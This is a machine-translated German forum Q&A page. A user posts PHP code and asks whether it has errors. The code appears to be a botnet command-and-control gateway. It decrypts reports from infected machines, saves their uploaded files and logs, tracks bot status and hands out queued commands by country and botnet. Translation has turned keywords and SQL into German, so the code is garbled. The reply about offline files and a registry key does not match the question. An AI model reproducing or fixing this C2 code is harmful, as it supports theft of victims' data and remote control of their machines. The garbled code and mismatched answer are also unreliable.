Frage : Code auf möglichen Störungen überprüfen

Ich wünsche Überprüfungs-PHP-Code für mögliche Störungen, bin dort einige offensichtliche Fehler, oder aller ist, die Akte scheint unzended korrekt. Was bedeutet verschlüsseltes Material in der ersten Linie?
" J ¿ \ x136 ¿ K ¿ ¿ y ¿ u.#H \ x18 ¿ \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 ";
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
6:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
149:
150:
151:
152:
153:
154:
155:
156:
157:
158:
159:
160:
161:
162:
163:
164:
165:
166:
167:
168:
169:
170:
171:
172:
173:
174:
175:
176:
177:
178:
179:
180:
181:
182:
183:
184:
185:
186:
187:
188:
189:
190:
191:
192:
193:
194:
195:
196:
197:
198:
199:
200:
201:
202:
203:
204:
205:
206:
207:
208:
209:
210:
211:
212:
213:
214:
215:
216:
217:
218:
219:
220:
221:
222:
223:
224:
225:
226:
227:
228:
229:
230:
231:
=““. $ip. „'BEGRENZUNG 1“)) && ($m = mysql_fetch_row ($r))! == falsch)
	{
		Rückhol$m [0];
	}
	zurückgehen „--“;
}

Funktion touint ($str)
{
	$q = @unpack („L“, $str);
	wenn (is_array ($q) && is_numeric ($q [1]))
	{
		Rückhol$q [1];
	}
	Rückkehr 0;
}

Funktion toint ($str)
{
	$q = @unpack („L“, $str);
	wenn (is_array ($q) && is_numeric ($q [1]))
	{
		Rückhol$q [1];
	}
	Rückkehr 0;
}

Funktion toushort ($str)
{
	$q = @unpack („S“, $str);
	wenn (is_array ($q) && is_numeric ($q [1]))
	{
		Rückhol$q [1];
	}
	Rückkehr 0;
}

definieren („__REPORT“, „1“);
wenn ($_SERVER [„REQUEST_METHOD“]! == „PFOSTEN“)
{
	Ausgang ();
}
require_once („System/global.php“);
require_once („System/config.php“);
$data = @file_get_contents („PHP: //input“);
$data_size = @strlen ($data);
wenn ($data_size < HEADER_SIZE + ITEM_HEADER_SIZE)
{
	Ausgang ();
}
$data = rc4 ($data, BIN_CRYPTKEY);
wenn (strcmp (md5 (substr ($data, HEADER_SIZE), richten) aus, substr ($data, HEADER_MD5, 16))! == 0)
{
	Ausgang ();
}
$list = Reihe ();
$i = HEADER_SIZE;
während ($i < $data_size)
{
	$k = @unpack („L4“, @substr ($data, $i, ITEM_HEADER_SIZE));
	$list [$k [1]] = @substr ($data, $i + ITEM_HEADER_SIZE, $k [3]);
	$i += ITEM_HEADER_SIZE + $k [3];
}
unset ($data);
wenn (leeren ($list [SBCID_BIN_VERSION]) || leeren ($list [SBCID_BIN_ID]))
{
	Ausgang ();
}
wenn (! connecttodb ())
{
	Ausgang ();
}
$bin_id = Ordnung ($list [SBCID_BIN_ID]);
$bin_id_q = addslashes ($bin_id);
$binnet = leeren sich ($list [SBCID_BINNET])? DEFAULT_BINNET: Ordnung ($list [SBCID_BINNET]);
$binnet_q = addslashes ($binnet);
$bin_version = touint ($list [SBCID_BIN_VERSION]);
$real_ipv4 = Ordnung (! leeren ($_GET [„IP“])? $_GET [„IP“]: $_SERVER [„REMOTE_ADDR“]);
$country = getcountryipv4 ();
$country_q = addslashes ($country);
$curtime = Zeit ();
$rtime_min_online = $curtime - BIN_TIMEOUT * 60;
wenn (! leeren ($list [SBCID_BATCH_STATUS]))
{
	tun
	{
		mysql_query („UPDATE bincmdbatches STELLTEN complete=complete+1, complete_BINs=CONCAT ein (complete_BINs, „\ \ 0“. $bin_id_q. “ \ \ 0“) WO batch_id='".toint ($list [SBCID_BATCH_STATUS]). “ 'BEGRENZUNG 1 ");
		file_put_contents („2“, mysql_error ());
		sendemptyreply ();
	}
	sonst
	{
		wenn (! leeren ($list [SBCID_BINLOG]) || ! leeren ($list [SBCID_BINLOG_TYPE]))
		{
			$type = touint ($list [SBCID_BINLOG_TYPE]);
			wenn ($type == BLT_FILE)
			{
				$bad_exts = Reihe („PHP“, „Asp“, „exe“, „pl“, „cgi“, „cmd“, „Hieb“);
				$fd_hash = md5 ($list [SBCID_BINLOG]);
				$file_path = str_replace („\ \“, „/“, „/“. $BINnet. „/“. $BIN_id. „/“. (leeren ($list [SBCID_PATH_DEST])? „Unbekanntes“: $list [SBCID_PATH_DEST]));
				wenn (strpos ($file_path, „/. .") === falsch)
				{
					$file_path = REPORTS_PATH. „/files/“. $file_path;
					$inf = pathinfo ($file_path);
					wenn (leeren ($inf [„Verlängerung“]))
					{
						$inf [„Verlängerung“] = „dat“;
					}
					$file_path = $inf [„dirname“]. “/„.basename ($inf [„basename“],“. „. $inf [„Verlängerung“]). „*.“. $inf [„Verlängerung“];
					wenn (array_search (strtolower ($inf [„Verlängerung“]), $bad_exts)! == falsch)
					{
						$file_path. = „.dat“;
					}
					$i = 0;
					für (;	$i < 9999;	++$i)
					{
						$f = str_replace („*“, $i == 0? "": “ [„. $i.“] „, $file_path);
						wenn (file_exists ($f))
						{
							wenn (($fd_size = filesize ($f)), && strcmp (md5_file ($f), $fd_hash) === 0)
							{
								Bruch;
								wenn (md5_file ($f))
								{
									Bruch;
								}
							}
							sonst
							{
								wenn (createdir ($inf [„dirname“]))
								{
								}
								wenn (! ($h = fopen ($f, „WB“)))
								{
									Ausgang ();
								}
								Menge ($h, LOCK_EX);
								fwrite ($h, $list [SBCID_BINLOG]);
								Menge ($h, LOCK_UN);
								fclose ($h);
							}
							Bruch;
						}
					}
				}
				sonst wenn (REPORTS_TO_DB == 1)
				{
					$table = „reports_“ .gmdate („ymd“, $curtime);
					$QUERY = „EINSATZ VERZÖGERTE IN“. $table. „BIN_id='".$bin_id_q EINSTELLEN. „„, BINnet=““. $BINnet_q. „„, BIN_version=““. $BIN_version. „„, path_source=““. (leeren ($list [SBCID_PATH_SOURCE])? "": addslashes ($list [SBCID_PATH_SOURCE])). „„, path_dest=““. (leeren ($list [SBCID_PATH_DEST])? "": addslashes ($list [SBCID_PATH_DEST])). „„, time_system=““. (leeren ($list [SBCID_TIME_SYSTEM])? 0: toint ($list [SBCID_TIME_SYSTEM])). „„, time_tick=““. (leeren ($list [SBCID_TIME_TICK])? 0: toint ($list [SBCID_TIME_TICK])). „„, time_localbias=““. (leeren ($list [SBCID_TIME_LOCALBIAS])? 0: toint ($list [SBCID_TIME_LOCALBIAS])). „„, os_version=““. (leeren ($list [SBCID_OS_INFO])? "": addslashes ($list [SBCID_OS_INFO])). „„, language_id=““. (leeren ($list [SBCID_LANGUAGE_ID])? 0: toushort ($list [SBCID_LANGUAGE_ID])). „„, process_name=““. (leeren ($list [SBCID_PROCESS_NAME])? "": addslashes ($list [SBCID_PROCESS_NAME])). „„, type=““. $type. „„, ipv4=““ .addslashes ($real_ipv4). „„, country=““. $country_q. „„, rtime=““. $curtime. „„, context=““ .addslashes ($list [SBCID_BINLOG]). „'“;
					wenn (@! mysql_query ($query) || @ (! mysql_query („TABELLE HERSTELLEN, WENN NICHT EXISTIERT“. $table. „WIE Reports“) &&! @mysql_query ($query)))
					{
						Ausgang ();
					}
				}
				sonst wenn (REPORTS_TO_FS == 1)
				{
					$file_path = str_replace („\ \“, „/“, „/“. $BINnet. „/“. $real_ipv4);
					wenn (! (strpos ($file_path, „/. .") === falsch))
					{
						Bruch;
					}
					$file_path = REPORTS_PATH. „/logs/“. $file_path;
					wenn (createdir ($file_path))
					{
					}
					wenn (! ($h = fopen ($file_path. „/“. $BIN_id, „WB“)))
					{
						Ausgang ();
					}
					Menge ($h, LOCK_EX);
					fwrite ($h, „bin_id=“. $bin_id. “ \ r \ nbinnet= ". $binnet. „\ r \ ntime_system=“. (leeren ($list [SBCID_TIME_SYSTEM])? 0: ftime („H: I: s d.m.Y“, toint ($list [SBCID_TIME_SYSTEM]))). “ \ r \ ntime_tick= ". (leeren ($list [SBCID_TIME_TICK])? 0: toint ($list [SBCID_TIME_TICK])). „\ r \ ntime_localbias=“. (leeren ($list [SBCID_TIME_LOCALBIAS])? 0: toint ($list [SBCID_TIME_LOCALBIAS])). “ \ r \ nlanguage_id= ". (leeren ($list [SBCID_LANGUAGE_ID])? 0: toushort ($list [SBCID_LANGUAGE_ID])). „\ r \ nprocess_name=“. (leeren ($list [SBCID_PROCESS_NAME])? "": $list [SBCID_PROCESS_NAME]). “ \ r \ ntype= ". $type. „\ r \ nipv4=“. $real_ipv4. “ \ r \ ncountry= ". $country. „\ r \ nrtime=“ .ftime („H: I: s d.m.Y“, $curtime). “ \ r \ ncontext= ". $list [SBCID_BINLOG]. „\ r \ n \ r \ n \ r \ n“);
					Menge ($h, LOCK_UN);
					fclose ($h);
				}
			}
			sonst wenn (! leeren ($list [SBCID_BIN_STATUS]))
			{
				$query = „BIN_id='".$bin_id_q. „„, BINnet=““. $BINnet_q. „„, BIN_version=““. $BIN_version. „„, net_latency=““. (leeren ($list [SBCID_NET_LATENCY])? 0: touint ($list [SBCID_NET_LATENCY])). „„, port_s1=““. (leeren ($list [SBCID_PORT_S1])? 0: toushort ($list [SBCID_PORT_S1])). „„, time_localbias=““. (leeren ($list [SBCID_TIME_LOCALBIAS])? 0: toint ($list [SBCID_TIME_LOCALBIAS])). „„, os_version=““. (leeren ($list [SBCID_OS_INFO])? "": addslashes ($list [SBCID_OS_INFO])). „„, language_id=““. (leeren ($list [SBCID_LANGUAGE_ID])? 0: toushort ($list [SBCID_LANGUAGE_ID])). „„, ipv4=““ .addslashes ($real_ipv4). „„, country=““. $country_q. „„, rtime_last=““. $curtime. „'“;
				wenn (mysql_query („EINSATZ IN BINlist GESETZTES rtime_first='".$curtime. „„, rtime_online=“ {$curtime} „, flag_install=““. (touint ($list [SBCID_BIN_STATUS]) == BS_INSTALLED? 1: 0). „„,“. $query. („AUF DOPPELTER SCHLÜSSEL-UPDATE rtime_online=IF (rtime_last <=“ „. $rtime_min_online. “ „,“ {$curtime} ', rtime_online), {$query} ")))
				{
					Bruch;
				}
				Ausgang ();
			}
			sonst
			{
				Ausgang ();
			}
		} während (0);
	}
	$reply_data = "";
	$reply_count = 0;
	$BIN_id_q = tosqlsafemask ($BIN_id_q);
	$BINnet_q = tosqlsafemask ($BINnet_q);
	$country_q = tosqlsafemask ($country_q);
	$r = @mysql_query („AUSERWÄHLTE Identifikation, batch_id, batch_text VON BINcmdbatches WO flag_disabled=0 UND (send_limit=0 ODER sended < send_limit) UND“. („(complete_BINs NICHT MÖGEN „% \ \ 0“. $BIN_id_q. “ \ \ 0%“) UND "). (“ (countries_wl= '' ODER countries_wl MÖGEN BINÄRE „% \ \ 0 ". $country_q. „\ \ 0%“) UND "). („(countries_bl NICHT MÖGEN BINÄRE „% \ \ 0“. $country_q. “ \ \ 0%“) UND "). (“ (binnets_wl= '' ODER binnets_wl MÖGEN BINÄRE „% \ \ 0 ". $BINnet_q. „\ \ 0%“) UND "). („(binnets_bl NICHT MÖGEN BINÄRE „% \ \ 0“. $BINnet_q. “ \ \ 0%“) UND "). (“ (BINs_wl= '' ODER BINs_wl MÖGEN BINÄRE „% \ \ 0 ". $BIN_id_q. „\ \ 0%“) "). „BEGRENZUNG 10“);
	während ($r && ($m = mysql_fetch_row ($r)))
	{
		$size = strlen ($m [2]);
		$reply_data. = Satz („LLLL“, $m [1], 0, $size, $size). $m [2];
		++$reply_count;
		@mysql_query („UPDATE bincmdbatches STELLTEN sended=sended+1 WO id='".$m ein [0]. „'BEGRENZUNG 1“);
	}
	wenn (0 < $reply_count)
	{
		$reply_data = Satz („LLL“, HEADER_SIZE + strlen ($reply_data), 0, $reply_count), .md5 ($reply_data, zutreffend). $reply_data;
		Echo rc4 ($reply_data, BIN_CRYPTKEY);
		Ausgang ();
	}
	sendemptyreply ();
? >

Antwort : Code auf möglichen Störungen überprüfen

Sie sagten, dass Sie indirekte Akten zuerst abstellten und dann den Ausrichtungs-Schlüssel addierten. Es könnte gut sein, dass es der indirekte Fileservice ist, der den Schlüssel liest und nach ihm fungiert und der, weil Sie indirekte Akten weg von ihm gedreht nicht diese Tätigkeit durchführt. Versuchen, es zurück zu drehen an, das regkey wieder anwenden dann es drehen zurückziehen.

, sagend, dass ich gerade Ihren Pfosten neugelesen und Sie erwähnten, dass der Schlüssel gelöscht, der vorschlagen, dass es gelesen. Wert einen Versuch zwar.

In Bezug auf das CSC Faltblatt manuell löschen sollte dieses keine Ausgaben verursachen, die ich dies vorher ohne schädliche Wirkungen getan.
Weitere Lösungen  
 
programming4us programming4us